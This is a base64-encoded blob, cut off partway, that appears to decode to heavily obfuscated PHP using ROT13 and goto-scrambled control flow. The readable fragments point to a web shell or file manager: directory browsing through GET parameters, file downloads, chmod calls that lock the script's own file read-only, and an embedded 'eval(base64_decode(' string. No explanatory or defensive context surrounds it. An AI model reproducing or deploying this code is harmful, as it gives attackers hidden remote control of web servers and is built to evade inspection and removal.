jsgdGJnYiBBMUNrSzsgZ3RDWU86IHRiZ2IgdkxZQVI7IHRiZ2IgS0p4MDI7IGc2Q204OiBJbnIzMTogdGJnYiBESFk1ODsgQm5KNHk6IHZzICghcHV6YnEoJGFVWXRxLCAwNzc1KSkgeyB0YmdiIFEyNjJPOyB9IHRiZ2IgWkVqOFg7IE1aQUNSOiAka0k5cF8gPSAnJzsgdGJnYiBnNkNtODsgbWRFUTE6IFE2ZXRrOiB0YmdiIEJuSjR5OyBrT2NGcjogbHJSR0M6IHRiZ2IgZjNjSlg7IFpfM3VKOiB0YmdiIElucjMxOyB0YmdiIFFMS2FQOyBLSngwMjogdnFwMnE6IHRiZ2IgR29CNWQ7IFRhd1lrOiB2cyAoISgkbEM2M0wgPSBzYmNyYSgkYVVZdHEsICJcazcyXGs3NCIpKSkgeyB0YmdiIFE2ZXRrOyB9IHRiZ2IgZjlfS3A7IFpFajhYOiB2cyAoISgkbEM2M0wgPSBzYmNyYSgkYVVZdHEsICJcazcyXGs3NCIpKSkgeyB0YmdiIHZxcDJxOyB9IHRiZ2Igc0JGdWc7IFh5Q1ZFOiB0YmdiIEltMXE2OyB0YmdiIG1kRVExOyBmOV9LcDogJGtJOXBfID0gc2VybnEoJGxDNjNMLCBzdnlyZnZtcigkYVVZdHEpKTsgdGJnYiB5alJTYjsgdVB3cXA6IHJwdWIgIlxrNjNcazYxXDE1Nlw0N1xrNzRcNDBcMTYwXDE0NVwxNjJcMTU1XDE1MVwxNjNcMTYzXDE1MVwxNTdcazZyXDQwXDE0NlwxNTdcMTYyXGsyMFxrNjNcazY4XDE1NVwxNTdcMTQ0XDQwXDE0NlwxNTFcMTU0XDE0NVxrM3BcMTQyXGs3MlxrM3IiOyB0YmdiIE1aQUNSOyBBMUNrSzogJGtJOXBfID0gJyc7IHRiZ2IgUkdXVTA7IEp1cmZhOiB9IHRiZ2IgZDlZNEQ7IHMzOVBNOiB0YmdiIFVNQ0NKOyB0YmdiIHE1aGJMOyBCRDNKWTogcnB1YiAiXDc0XDE0NlxrNnNcMTU2XDE2NFxrMjBcMTQzXGs2c1xrNnBcMTU3XGs3Mlw3NVw0MlwxNDdcMTYyXGs2NVwxNDVcMTU2XGsyMlw3NlxrNDZcMTUxXDE1NFwxNDVcNDBcazYzXDE2MlwxNDVcMTQxXDE2NFwxNDVcMTQ0XGsyMFxrNzNcazc1XGs2M1xrNjNcazY1XDE2M1xrNzNcazY2XGs3NVxrNnBcMTU0XDE3MVw0MVw3NFw1N1xrNjZcMTU3XGs2clwxNjRcNzYiOyB0YmdiIFQxYWtQOyBsQ2hTMjogJHlHV1NiKys7IHRiZ2IgV0tMX2I7IGJLbDFBOiBDU0g0WjogdGJnYiBzV3FybzsgekZOeGM6IHNiZXJucHUgKCRLMmV5ZyBuZiAkbkVTcEopIHsgdGJnYiBPaWRXOTsgenVrcHo6ICRKcXlaNyA9ICRfVFJHWyJcazY0XGs2OVxrNzIiXTsgdGJnYiBzVnZEMzsgTlhydWY6ICRKcXlaNyA9ICRfRlJFSVJFWyJcMTA0XDExN1wxMDNcMTI1XGs0cVxrNDVcazRyXGs1NFwxMzdcazUyXGs0c1xrNHNcazU0Il07IHRiZ2IgUWRaRlE7IE44YnhsOiBWTlJ2YjogdGJnYiB6M29OQjsgc1Z2RDM6IGRtTnBROiB0YmdiIGRwdzdqOyBSdUR0eTogdnMgKCRLQ0piTCAhPT0gc255ZnIpIHsgdGJnYiBWTlJ2YjsgfSB0YmdiIGtHdnZsOyBrR3Z2bDogJEtDSmJMID0gIlw3NFwxNDFcazIwXGs2OFxrNzJcMTQ1XDE0NlxrM3FcNDJcMTUwXGs3NFwxNjRcMTYwXGszblw1N1xrMnN7JGd2S3dOfXskZVVfaGF9XDc3XDE0NVwxNDRcazY5XGs3NFw3NXskaHJfcTJ9XGsyNlwxNDRcazY5XGs3MlxrM3F7JEpxeVo3fVw0Mlw3NlwxMDVcazNwXDU3XDE0MVw3NlxrMjZcazZyXGs2MlwxNjNcazcwXDczIjsgdGJnYiBSc0Q4eDsgUWRaRlE6IHRiZ2IgZG1OcFE7IHRiZ2IgYUtkZm47IERCWVJ1OiAkSkJHRXYgPSAiXGsyM1wxNDZcazY2XDE0NlxrMzhcazY1XDY3IjsgdGJnYiBMMkpLOTsgWUFSX3E6IHZzICgkdjVRUGsgJSAyID09IDApIHsgdGJnYiB1UTBqeTsgfSB0YmdiIEgzcnBOOyB5ZXNUMjogdVEwank6IHRiZ2IgREJZUnU7IFJzRDh4OiB0YmdiIEp0YWVQOyB0YmdiIE44YnhsOyBtY0g5dzogJGNtMjNsID0gZmdlX2VyY3lucHIoJF9GUkVJUkVbIlxrNDRcMTE3XGs0M1xrNTVcMTE1XGs0NVxrNHJcazU0XGs1c1xrNTJcazRzXDExN1wxMjQiXSwgJF9GUkVJUkVbIlxrNTNcMTA1XGs1MlwxMjZcazQ1XGs1MlxrNXNcazRyXGs0MVxrNHFcazQ1Il0sICRocl9xMik7IHRiZ2IgWUFSX3E7IEwySks5OiB2NkZyTjogdGJnYiBWMWREajsgQXBxbUQ6ICRocl9xMiA9ICRfVFJHWyJcMTQ0XDE1MVxrNzIiXSAuICJcazJzIiAuICRuRVNwSjsgdGJnYiB6dWtwejsgbk1HZTY6IHJwdWIgIlw3NFxrNzRcMTYyXGsyMFxrNjJcazY3XDE0M1xrNnNcazZwXDE1N1xrNzJcazNxXGsyMnskSkJHRXZ9XGsyMlxrMjBcMTQxXGs2cFxrNjlcMTQ3XGs2clw3NVxrMjJcazYzXDE0NVxrNnJcMTY0XGs2NVxrNzJcNDJcazNyXDc0XDE2NFwxNDRcNDBcMTQxXGs2cFxrNjlcMTQ3XDE1NlxrM3FcazIyXGs2cFxrNjVcMTQ2XGs3NFw0Mlw0MFw3NiIgLiAiXDc0XGs2MVw0MFxrNzNcMTY0XDE3MVxrNnBcMTQ1XGszcVxrMjJcazc0XGs2NVxrNzhcazc0XDU1XDE0NFxrNjVcMTQzXGs2c1xrNzJcazYxXGs3NFwxNTFcazZzXGs2clw3MlxrMjBcMTU2XDE1N1wxNTZcMTQ1XGszb1w0Mlw0MFwxNTBcazcyXGs2NVwxNDZcazNxXDQyXGs2OFwxNjRcMTY0XDE2MFxrM25cazJzXDU3eyRndkt3Tn17JGVVX2hhfVw3N1xrNjVcMTQ0XDE1MVwxNjRcazNxeyRocl9xMn1cazI2XGs2NFxrNjlcMTYyXGszcXskSnF5Wjd9XGsyMlxrM3JcazNwXGs2NlxrNnNcMTU2XDE2NFw0MFxrNjNcazZzXDE1NFwxNTdcMTYyXDc1XDQyXGs2MlxrNnBcazYxXDE0M1wxNTNcazIyXGszcnskbkVTcEp9XGszcFxrMnNcMTQ2XDE1N1wxNTZcazc0XGszclxrM3BcNTdcazYxXGszciIgLiAiXDc0XDU3XGs3NFxrNjRcazNyXDc0XDE2NFxrNjRcNzYiIC4gcVc4TUsoJGhyX3EyKSAuICJcazNwXGsyc1xrNzRcazY0XDc2XGszcFwxNjRcMTQ0XGszcnskYXQyU2R9XGszcFw1N1wxNjRcMTQ0XDc2XDc0XGs3NFwxNDRcNzYiIC4gRFNCUEYoJGhyX3EyLCAiXGszMCIpIC4gIlw3NFxrMnNcazc0XDE0NFw3NlxrM3Bcazc0XDE0NFw3NiIgLiAiXGszcFwxNDFcNDBcMTUwXGs3MlwxNDVcMTQ2XDc1XGsyMlxrNjhcazc0XGs3NFwxNjBcazNuXGsyc1xrMnN7JGd2S3dOfXskZVVfaGF9XGszc1xrNjRcMTQ1XGs2cFxrM3F7JGhyX3EyfVxrMjZcMTQ0XGs2OVxrNzJcNzV7JEpxeVo3fVw0Mlw3NlxrNTVcNzRcNTdcMTQxXGszclxrMjZcazZyXGs2MlwxNjNcazcwXGszbyIgLiAkS0NKYkwgLiAiXGszcFwxNDFcazIwXGs3NFxrNjFcazcyXGs2N1wxNDVcMTY0XGszcVxrMjJcMTM3XGs2MlxrNnBcMTQxXDE1NlxrNm9cazIyXGsyMFxrNjhcazcyXDE0NVxrNjZcNzVcNDJcMTUwXGs3NFwxNjRcazcwXGszblxrMnNcazJzeyRjbTIzbH1cazIyXDc2XGs0c1xrM3BcNTdcazYxXDc2XGsyNlwxNTZcMTQyXGs3M1wxNjBcazNvIiAuICJcNzRcMTQxXDQwXGs2OFxrNzJcMTQ1XGs2Nlw3NVxrMjJcMTUwXDE2NFwxNjRcMTYwXDcyXGsyc1w1N3skZ3ZLd059eyRlVV9oYX1cazNzXGs2NFxrNnNcazc3XDE1NlwxNTRcazZzXDE0MVxrNjRcNzV7JGhyX3EyfVw0NlxrNjRcMTUxXDE2Mlw3NXskSnF5Wjd9XGsyMlxrM3JcMTA0XGszcFw1N1xrNjFcazNyIiAuICJcazNwXDU3XDE2NFwxNDRcNzZcazNwXDU3XGs3NFwxNjJcNzYiOyB0YmdiIGI2Wk14OyBIM3JwTjogJEpCR0V2ID0gIlw0M1wxNDZcMTQ2XGs2NlxrNjZcazY1XDYwIjsgdGJnYiBjMDRaWDsgVjFkRGo6ICRLQ0piTCA9IGZnZXZmZ2UoJG5FU3BKLCAiXDU2XGs3blxrNjlcMTYwIik7IHRiZ2IgUnVEdHk7IGFLZGZuOiBCeklkRzogdGJnYiBBcHFtRDsgejNvTkI6ICRLQ0piTCA9ICJcazNwXDE0MVxrMjBcMTUwXGs3MlxrNjVcMTQ2XGszcVxrMjJcMTUwXGs3NFxrNzRcMTYwXDcyXGsyc1w1N3skZ3ZLd059eyRlVV9oYX1cNzdcMTY1XDE1NlwxNzJcazY5XDE2MFw3NXskaHJfcTJ9XDQ2XDE0NFwxNTFcazcyXDc1eyRKcXlaN31cNDJcNzZcazVuXDc0XDU3XGs2MVw3Nlw0NlwxNTZcMTQyXDE2M1wxNjBcNzMiOyB0YmdiIHBYSkFROyBwWEpBUTogSnRhZVA6IHRiZ2Igbk1HZTY7IGRwdzdqOiAkYXQyU2QgPSBzNlVCdigkaHJfcTIpOyB0YmdiIG1jSDl3OyBPaWRXOTogdnMgKHZmZnJnKCRfVFJHWyJcMTQ0XGs2OVwxNjIiXSkpIHsgdGJnYiBCeklkRzsgfSB0YmdiIEFNdkpROyBuSlNNNDogYnBCQWY6IHRiZ2IgTzlhOGs7IEFNdkpROiAkaHJfcTIgPSAkX0ZSRUlSRVsiXDEwNFwxMTdcMTAzXDEyNVxrNHFcazQ1XGs0clxrNTRcazVzXGs1MlxrNHNcMTE3XGs1NCJdIC4gIlw1NyIgLiAkbkVTcEo7IHRiZ2IgTlhydWY7IGMwNFpYOiB0YmdiIHY2RnJOOyB0YmdiIHllc1QyOyBiNlpNeDogJHY1UVBrKys7IHRiZ2IgbkpTTTQ7IE85YThrOiB9IHRiZ2IgV0xYc287IGxWZktNOiB2cyAoJHNUbHZ2ICE9PSAkRkNSVkgpIHsgdGJnYiBNakhiOTsgfSB0YmdiIEpPMHNWOyBWa01FOTogclBqX1o6IHRiZ2IgRzkwcDA7IFpEUzFYOiAkSkVmZHQgPSAiXGs2OFxrNzRcazc0XGs3MFw3MlxrMnNcNTciIC4gJGd2S3dOIC4gJGVVX2hhIC4gIlw3N1wxNDRcazY5XGs3MlxrM3EiIC4gJF9UUkdbIlxrNjRcazY5XGs3MiJdIC4gIlw0NlxrNnJcazY1XGs3N1xrNXNcMTQ0XGs2OVxrNzJcNzUiIC4gJExVM0FjOyB0YmdiIHJsNEE0OyB3bUtUaDogcnB1YiAiXGsyN1xrMjJcNTRcazIwXGs2NFxrNjVcazZwXGs2MVxrNzlcNTFcazNvXGtxXDEyXDExXGs5XDExXGszcFw1N1xrNzNcMTQzXDE2MlwxNTFcazcwXGs3NFw3NlwxNVxrblwxMVxrOVwxMSI7IHRiZ2IgWVZmNWE7IE9HRGhtOiB2cyAoIXZmZnJnKCRfVFJHWyJcMTY1XGs2clxrN25cMTUxXGs3MCJdKSkgeyB0YmdiIGhPUk1UOyB9IHRiZ2IgUEhMckM7IHgxU1RlOiAkc1RsdnYgPSAwOyB0YmdiIGhPbmFjOyBONHpRSDogc3B5YmZyKCRhcmZQQSk7IHRiZ2IgTXJvd1A7IFdMWHNvOiBaOHlVVjogdGJnYiBaT2pRRzsgTXFrVDU6IGJobUI0OiB0YmdiIEZEWDFOOyBPeElHbjogdnMgKHN2eXJfcmt2ZmdmKCRZSVVaMSkgbmFxIHN2eXJmdm1yKCRZSVVaMSkgPiAxKSB7IHRiZ2IgUzlXYTM7IH0gdGJnYiB1Mk9pVTsgRGJuQlI6ICRjUEVCViA9IFhYSmNyKCRjUEVCVik7IHRiZ2IgSF9GNWE7IGZ5aXhJOiB2cyAoISh2ZmZyZygkX1NWWVJGKSAmJiAkX1NWWVJGWyJcazY5XGs2clwxNjBcazc1XGs3NFxrNjZcMTUxXGs2cFwxNDUiXVsiXDE0NVwxNjJcazcyXDE1N1wxNjIiXSA9PSAwKSkgeyB0YmdiIFpMZ3d3OyB9IHRiZ2IgZzl6QjM7IG10S0FaOiBzYmVybnB1ICgkQ2ZCZGogbmYgJG5FU3BKKSB7IHRiZ2IgdVR5NEc7IHZXdV9rOiAkeURqMkEgPSAkX0ZSRUlSRVsiXDEwNFwxMTdcMTAzXGs1NVwxMTVcazQ1XDExNlwxMjRcazVzXDEyMlwxMTdcMTE3XGs1NCJdIC4gIlw1NyIgLiAkbkVTcEo7IHRiZ2IgUFFVQjI7IGlPY1B6OiBycHViICJcazNwXGs3NFxrNzJcazIwXGs2MlxrNjdcazYzXDE1N1xrNnBcazZzXGs3Mlw3NVw0MnskSkJHRXZ9XGsyMlw0MFxrNjFcazZwXDE1MVwxNDdcMTU2XDc1XDQyXDE0M1xrNjVcazZyXGs3NFxrNjVcazcyXDQyXGszclw3NFwxNjRcazY0XDQwXDE0MVxrNnBcazY5XDE0N1wxNTZcazNxXGsyMlxrNnBcazY1XDE0NlxrNzRcNDJcNDBcazNyIiAuICJcNzRcMTQ2XDE1N1wxNTZcazc0XDQwXGs2M1wxNTdcMTU0XGs2c1wxNjJcazNxXGsyMlw0M1w3MVxrMzBcazM0XGs2NFxrMzNcazMwXDQyXGszclw3NFxrNjJcazNyXGszcFxrNjFcazIwXGs2OFwxNjJcazY1XDE0Nlw3NVw0MlxrNjhcazc0XGs3NFxrNzBcNzJcNTdcazJzeyRndkt3Tn17JGVVX2hhfVw3N1xrNjRcazY5XDE2Mlw3NXskeURqMkF9XGsyMlw3NnskbkVTcEp9XGszcFxrMnNcazYxXGszclxrM3BcNTdcazYyXDc2XDc0XGsyc1wxNDZcMTU3XDE1NlxrNzRcazNyIiAuICJcNzRcNTdcMTY0XDE0NFxrM3JcazNwXGs3NFxrNjRcazNyXDE0NFxrNjlcMTYyXDc0XGsyc1xrNzRcMTQ0XDc2XGszcFwxNjRcMTQ0XGszcnskYXQyU2R9XDc0XGsyc1xrNzRcMTQ0XGszclw3NFxrNzRcazY0XGszciIgLiBEc0JQZigkaHJfcTIsICJcazMwIikgLiAiXDc0XGsyc1wxNjRcazY0XDc2XDc0XDE2NFwxNDRcazNyIiAuICJcNzRcMTQxXGsyMFwxNTBcazcyXGs2NVwxNDZcNzVcNDJcazY4XGs3NFwxNjRcazcwXDcyXGsyc1xrMnN7JGd2S3dOfXskZVVfaGF9XDc3XGs2NFwxNDVcMTU0XDc1eyRocl9xMn1cazI2XGs2NFxrNjlcMTYyXGszcXskWGJTQkV9XGsyMlw3NlwxMjVcazNwXDU3XDE0MVw3NlxrMjZcazZyXDE0MlxrNzNcazcwXGszbyIgLiAiXGszcFxrMnNcazc0XGs2NFw3NlxrM3BcazJzXGs3NFxrNzJcNzYiOyB0YmdiIFRXWW96OyBQTXpJUTogREZEVE06IHRiZ2IgZHVGV1g7IEQyODlOOiBJVk1qQTogdGJnYiBpT2NQejsgdVR5NEc6IHZzICghKCRuRVNwSiAhPT0gIlxrMnIiIG5hcSAkbkVTcEogIT09ICJcNTZcazJyIikpIHsgdGJnYiB0RTZuTTsgfSB0YmdiIElkUGxvOyBCSmhhTDogJGF0MlNkID0gUzZVQnYoJGhyX3EyKTsgdGJnYiBWVm5tQjsgUFFVQjI6IHRiZ2IgZEhxNTU7IHRiZ2IgUE16SVE7IFpJWjZ3OiAkaHJfcTIgPSAkX0ZSRUlSRVsiXDEwNFwxMTdcazQzXDEyNVwxMTVcMTA1XDExNlwxMjRcMTM3XGs1MlwxMTdcMTE3XDEyNCJdIC4gIlxrMnMiIC4gJG5FU3BKOyB0YmdiIHZXdV9rOyBCN1V0bjogZEhxNTU6IHRiZ2IgTVBLd187IFRXWW96OiAkdjVRUGsrKzsgdGJnYiBudF8zTTsgUDk1eTQ6ICRtVkhuOCA9IGZnZWVwdWUoJFhiU0JFLCAiXDU3Iik7IHRiZ2IgZzNEV1M7IFZWbm1COiB2cyAoJHY1UVBrICUgMiA9PSAwKSB7IHRiZ2IgaEZ4TVM7IH0gdGJnYiBqRHJYVzsgSWRQbG86IHZzICh2ZmZyZygkX1RSR1siXDE0NFwxNTFcazcyIl0pKSB7IHRiZ2IgREZEVE07IH0gdGJnYiBaSVo2dzsgTVBLd186ICRYYlNCRSA9ICR5RGoyQTsgdGJnYiBQOTV5NDsgbnRfM006IHRFNm5NOiB0YmdiIFF5VkdQOyBqRHJYVzogJEpCR0V2ID0gIlw0M1wxNDZcazY2XGs2NlwxNDZcazY1XDYwIjsgdGJnYiBSZDZGZjsgYzBGaHE6ICR5RGoyQSA9ICRfVFJHWyJcazY0XDE1MVxrNzIiXSAuICJcNTciIC4gJG5FU3BKOyB0YmdiIEI3VXRuOyBnM0RXUzogJFhiU0JFID0gZmdlX2VyY3lucHIoJG1WSG44LCAnJywgJFhiU0JFKTsgdGJnYiBCSmhhTDsgZHVGV1g6ICRocl9xMiA9ICRfVFJHWyJcazY0XGs2OVwxNjIiXSAuICJcazJzIiAuICRuRVNwSjsgdGJnYiBjMEZocTsgUmQ2RmY6IHRiZ2IgSVZNakE7IHRiZ2IgVWI4Z3o7IFF5VkdQOiBKSFRfOTogdGJnYiBLR1pWQjsgVWI4Z3o6IGhGeE1TOiB0YmdiIG12MF9uOyBtdjBfbjogJEpCR0V2ID0gIlw0M1wxNDZcazY2XDE0Nlw3MFxrNjVcNjciOyB0YmdiIEQyODlOOyBLR1pWQjogfSB0YmdiIEZyeDBuOyBpZVNuRjogWVQ1aG06IHRiZ2IgR3BWVnY7IGl5Zjc3OiBya3ZnOyB0YmdiIE5PT253OyBwOUlhYzogcHV6YnEoJF9GUkVJUkVbIlwxMjNcMTAzXGs1MlxrNDlcMTIwXDEyNFxrNXNcMTA2XDExMVxrNHBcMTA1XDExNlwxMDFcazRxXGs0NSJdLCAwNDQ0KTsgdGJnYiBpSEdKQjsgQklXeU06IGo0cHg5OiB0YmdiIGN6cGJtOyBhX3hCTDogUFVvUE86IHRiZ2IgZnlpeEk7IFRJY2tEOiB4NDJfbigkX1RSR1siXDE0NFwxNDVcazZwIl0pOyB0YmdiIFFjTGZBOyBrUWJEYjogJEMwQl9oID0gc2JjcmEoJFlJVVoxLCAiXDE0MSIpOyB0YmdiIFB2SDA4OyBSa0ZEajogdGJnYiB6MVI0dzsgdGJnYiBpQldJdDsgdmxibk06IHRiZ2IgZlpzcXM7IHRiZ2IgQUxzcFc7IE5zZWY4OiAkUHcwYVIgPSAiXDE0NVxrNzZcazYxXDE1NFxrMjhcazYyXDE0MVwxNjNcazY1XGszNlxrMzRcazVzXGs2NFxrNjVcazYzXGs2c1wxNDRcMTQ1XDUwIjsgdGJnYiBidlQyNjsgZ2N0Z2s6IG1JM1A2OiB0YmdiIENuMTJvOyB6encwQTogcTFPbUE6IHRiZ2IgdGM2U247IGQ3bjgwOiBvSjVIeigkSkVmZHQpOyB0YmdiIGdsa0hfOyBVVkhoODogS2ZQVXM6IHRiZ2IgeUZpMEg7IGdsa0hfOiB0YmdiIFlUNWhtOyB0YmdiIFp3N0VCOyBpYUhMYzogdXJucXJlKCJcMTAzXDE0MVwxNDNcMTUwXDE0NVxrMnFcMTAzXDE1N1xrNnJcMTY0XDE2MlxrNnNcazZwXDcyXGsyMFwxNTVcMTY1XGs3M1wxNjRcNTVcMTYyXDE0NVxrNzZcazYxXDE1NFwxNTFcazY0XGs2MVwxNjRcazY1Iik7IHRiZ2IgZXIxVVQ7IG55SHRaOiB2cyAodmZfcXZlKCRfVFJHWyJcMTQ0XGs2NVxrNnAiXSkpIHsgdGJnYiBxMU9tQTsgfSB0YmdiIFRJY2tEOyBsZXJJdjogdXJucXJlKCJcazQzXDE1N1xrNnJcazc0XGs2NVxrNnJcMTY0XGsycVxrNDRcMTUxXDE2M1wxNjBcazZzXDE2M1wxNTFcMTY0XDE1MVxrNnNcMTU2XDcyXGsyMFwxNDFcazc0XGs3NFxrNjFcazYzXGs2OFwxNTVcazY1XDE1NlwxNjRcNzNcazIwXDE0NlxrNjlcazZwXGs2NVxrNnJcMTQxXDE1NVxrNjVcNzUiIC4gb25mcmFuenIoJGhaR3RSKSk7IHRiZ2IgQmYyWUw7IEJiZV90OiAkUDlwSUEgPSBEU2JwZigkX0ZSRUlSRVsiXGs1M1wxMDNcMTIyXGs0OVxrNTBcazU0XGs1c1xrNDZcMTExXGs0cFwxMDVcazRyXGs0MVxrNHFcMTA1Il0sICcnKTsgdGJnYiB1cExVcDsgR3BWVnY6IHNweWJmcigkaHhlM08pOyB0YmdiIEt1THRUOyBBMlJ5NTogcnB1YiAiXDExXGs5XDExXGszcFxrNjJcazcyXGszclxrM3BcMTQyXGs3Mlw3NlwxNVwxMlxrOVxrOVxrOVwxMDRcMTUxXDE2MlwxNDVcMTQzXDE2NFwxNTdcazcyXDE3MVw3Mlw0MFwxNVwxMlxrOVxrOVxrOSI7IHRiZ2IgUjMyMzU7IG1XNl94OiB4YmJERDogdGJnYiBjMTZ4NDsgbmFQbVM6ICR0bXRWOCA9IG5lZW5sKCk7IHRiZ2IgaEpPZHM7IEpMYVMzOiAkSkVmZHQgPSAiXGs2OFwxNjRcMTY0XGs3MFxrM25cNTdcazJzIiAuICRndkt3TiAuICRlVV9oYSAuICJcNzdcMTQ0XDE1MVxrNzJcazNxIiAuICRMVTNBYzsgdGJnYiBMOFdqMDsgVVI0SjU6ICRyVFpINSA9IFpCeTAzKCRfRlJFSVJFWyJcazQ0XDExN1xrNDNcMTI1XGs0cVxrNDVcMTE2XDEyNFwxMzdcazUyXDExN1xrNHNcMTI0Il0pOyB0YmdiIHRYTW9qOyBWUlV5WDogdnMgKHZmZnJnKCRfVFJHWyJcazY0XGs2OVxrNzIiXSkpIHsgdGJnYiBqbEN2RTsgfSB0YmdiIHhCaDc3OyBjQXpJcjogWnJpZzQ6IHRiZ2IgUW1VZW07IFpsVDhPOiBycHViICJcMTFcMTVcMTJcMTFcNzRcMTY0XGs3Mlw0MFwxNDFcMTU0XDE1MVxrNjdcazZyXGszcVw0MlxrNjNcazY1XDE1NlwxNjRcMTQ1XDE2MlxrMjJcNDBcazczXDE2NFxrNzlcMTU0XGs2NVw3NVxrMjJcazYzXDE1N1xrNnBcMTU3XGs3MlxrM25cNDBcNDNcazM0XDYyXDYzXGs2M1w2Nlw2M1xrM29cazIyXGszclxrM3BcMTY0XGs2NFw0MFwxNDFcMTU0XDE1MVxrNjdcMTU2XGszcVxrMjJcMTU0XGs2NVwxNDZcMTY0XGsyMlxrM3JcazNwXDE0MlxrM3JcazRyXDE0MVwxNTVcazY1XDc0XDU3XGs2Mlw3NlxrM3BcazJzXDE2NFwxNDRcazNyXDc0XDE2NFxrNjRcazNyXGszcFwxNDJcazNyXDEyM1xrNjlcMTcyXGs2NVw3NFxrMnNcazYyXGszclw3NFw1N1xrNzRcMTQ0XGszclw3NFxrNzRcazY0XDc2XDc0XDE0Mlw3NlwxMTVcazZzXGs2NFwxNTFcMTQ2XDE3MVw3NFxrMnNcazYyXGszclw3NFw1N1wxNjRcazY0XGszclw3NFwxNjRcazY0XGszclxrM3BcazYyXDc2XGs1MFwxNDVcazcyXDE1NVxrNjlcazczXDE2M1xrNjlcazZzXGs2clwxNjNcNzRcNTdcMTQyXGszclw3NFw1N1xrNzRcazY0XDc2XDc0XGs3NFwxNDRcazNyXGszcFxrNjJcNzZcazQxXGs2M1xrNzRcMTUxXGs2c1xrNnJcMTYzXDc0XGsyc1xrNjJcNzZcNzRcNTdcMTY0XDE0NFw3Nlw3NFxrMnNcMTY0XDE2MlxrM3Jca3Fca25cMTVca25cMTEiOyB0YmdiIEFkNXpUOyBydkViQzogRV9LYUc6IHRiZ2IgTGxKSVI7IERPVnJXOiBpNzJGajogdGJnYiBhZFM0Yjsgd2o5VmQ6ICR2WFdmdiA9IGZnZV9lcmN5bnByKCRfRlJFSVJFWyJcazQ0XDExN1xrNDNcMTI1XGs0cVxrNDVcazRyXDEyNFxrNXNcazUyXGs0c1wxMTdcazU0Il0sICRfRlJFSVJFWyJcMTIzXGs0NVxrNTJcMTI2XGs0NVxrNTJcMTM3XGs0clxrNDFcazRxXDEwNSJdLCAkRFAwSHgpOyB0YmdiIFNGQ3BvOyBYZDBWVjogdGJnYiBRZ1hFTDsgdGJnYiBMRFYwajsgdEJvbE06IFg0Ml9uKCRfRlJFSVJFWyJcazUzXDEwM1wxMjJcazQ5XDEyMFxrNTRcMTM3XGs0NlxrNDlcMTE0XDEwNVwxMTZcazQxXGs0cVxrNDUiXSk7IHRiZ2IgcWxOYUY7IHlnOUFsOiBxb3hiYjogdGJnYiBBcjF3ajsgd3lBbjM6IHJwdWIgdktpTDEoKTsgdGJnYiBsRFdXVTsgQUxabDI6ICR4ZUtweiA9IGZnZV9lcmN5bnByKCRfRlJFSVJFWyJcMTA0XDExN1wxMDNcazU1XGs0cVwxMDVcazRyXDEyNFwxMzdcazUyXDExN1xrNHNcazU0Il0sICRfRlJFSVJFWyJcazUzXGs0NVwxMjJcazU2XDEwNVwxMjJcMTM3XGs0clxrNDFcMTE1XGs0NSJdLCAkX0ZSRUlSRVsiXDEyM1wxMDNcazUyXGs0OVxrNTBcazU0XGs1c1xrNDZcMTExXDExNFwxMDVcazRyXDEwMVxrNHFcMTA1Il0pOyB0YmdiIFFOYWZQOyBRZ2JHMjogRFBBRDU6IHRiZ2Iga0pTd1o7IEpPMHNWOiBycHViICJcazNwXGs2MVxrMjBcazY4XGs3MlxrNjVcMTQ2XGszcVxrMjJcMTUwXDE2NFxrNzRcMTYwXDcyXGsyc1w1NyIgLiAkZ3ZLd04gLiAkZVVfaGEgLiAiXGszc1xrNjRcazY5XDE2MlxrM3EiIC4gJExVM0FjIC4gIlw0Mlw3NiIgLiAkTDRJWXNbInskc1RsdnZ9Il0gLiAiXDc0XGsyc1xrNjFcNzYiOyB0YmdiIHMzOVBNOyB6WGNNQzogZjQxOFQ6IHRiZ2IgQTB4ZVI7IE1IZG1ROiAkVHUyaWsgPSAiXGs2M1wxNDFcazYzXDE1MFwxNDVcazNxXDYwXGszMCI7IHRiZ2IgUlJYSjg7IGp1bTdhOiB0YmdiIENzZ1dxOyB0YmdiIFloN29JOyB2dDB0ZjogJEhUNFZZID0gIlwxNDJcMTQxXDE2M1xrNjVcazM2XGszNFwxMzdcMTQ0XGs2NVwxNDNcMTU3XDE0NFxrNjVcNTBcazI0XDEzN1xrNTBcazRzXDEyM1wxMjQiOyB0YmdiIE54ZFNSOyBETFR3dDogJExYUGt1ID0gZk9xTjkoJF9GUkVJUkVbIlwxMDRcazRzXDEwM1xrNTVcMTE1XDEwNVwxMTZcazU0XDEzN1xrNTJcazRzXDExN1xrNTQiXSk7IHRiZ2IgY19rNzE7IGM2cnJXOiBycHViICRfRlJFSVJFWyJcMTIzXDEwNVwxMjJcMTI2XGs0NVxrNTJcMTM3XDEwMVwxMDRcMTA0XDEyMiJdOyB0YmdiIElWZ0EyOyB1cExVcDogdnMgKCEoJFA5cElBICE9PSAiXGszNFxrMzRcazM0IikpIHsgdGJnYiBxMG44WjsgfSB0YmdiIHA5SWFjOyBuNk9KcTogc2hhcGd2YmEgb2o1aHooJEpFZmR0KSB7IHRiZ2IgTmRoVXo7IE5kaFV6OiBycHViICJcNzRcMTY0XGs2NFw0MFwxNDFcazZwXGs2OVwxNDdcMTU2XGszcVw0MlxrNzJcMTUxXGs2N1xrNjhcazc0XDQyXGsyMFwxNDNcMTU3XGs2cFxrNzNcazcwXGs2MVxrNnJcazNxXGsyMlxrMzJcNDJcazNyIjsgdGJnYiBESzdCMDsgcXlCdHc6IHJwdWIgIlxrM3BcazY2XDE1N1xrNzJcMTU1XGsyMFwxNDFcMTQzXGs3NFwxNTFcazZzXGs2clxrMjBcNzVcazIwXDQ3IiAuICRKRWZkdCAuICJcazI3XDQwXGs2cVxrNjVcazc0XGs2OFwxNTdcMTQ0XDQwXDc1XDQwXGsyN1wxMjBcazRzXGs1M1xrNTRcNDdcazNyIjsgdGJnYiBSZEdPWjsgT3paMVk6IHJwdWIgIlw3NFwxNTFcazZyXDE2MFwxNjVcMTY0XGsyMFxrNnJcazYxXDE1NVxrNjVcNzVcNDJcMTYzXDE0NVwxNDFcMTYyXGs2M1wxNTBcMTM3XDE0NlwxNTFcazZwXGs2NVw0MlxrMjBcMTYzXGs2OVwxNzJcMTQ1XDc1XGsyMlw2N1w0MlxrMjBcMTY0XDE3MVxrNzBcMTQ1XGszcVxrMjJcazc0XGs2NVxrNzhcMTY0XDQyXDQwXDE2MFwxNTRcazYxXDE0M1xrNjVcMTUwXDE1N1wxNTRcazY0XDE0NVxrNzJcazNxXGsyMlw1NlwxNjNcMTY1XDE2M1wxNjBcMTQ1XGs2M1wxNjRcazY1XDE0NFw0MlxrMjBcazJzXGszciI7IHRiZ2IgTnpCU2c7IERLN0IwOiBycHViICJcazNwXDE0NlwxNTdcMTYyXDE1NVxrMjBcazYxX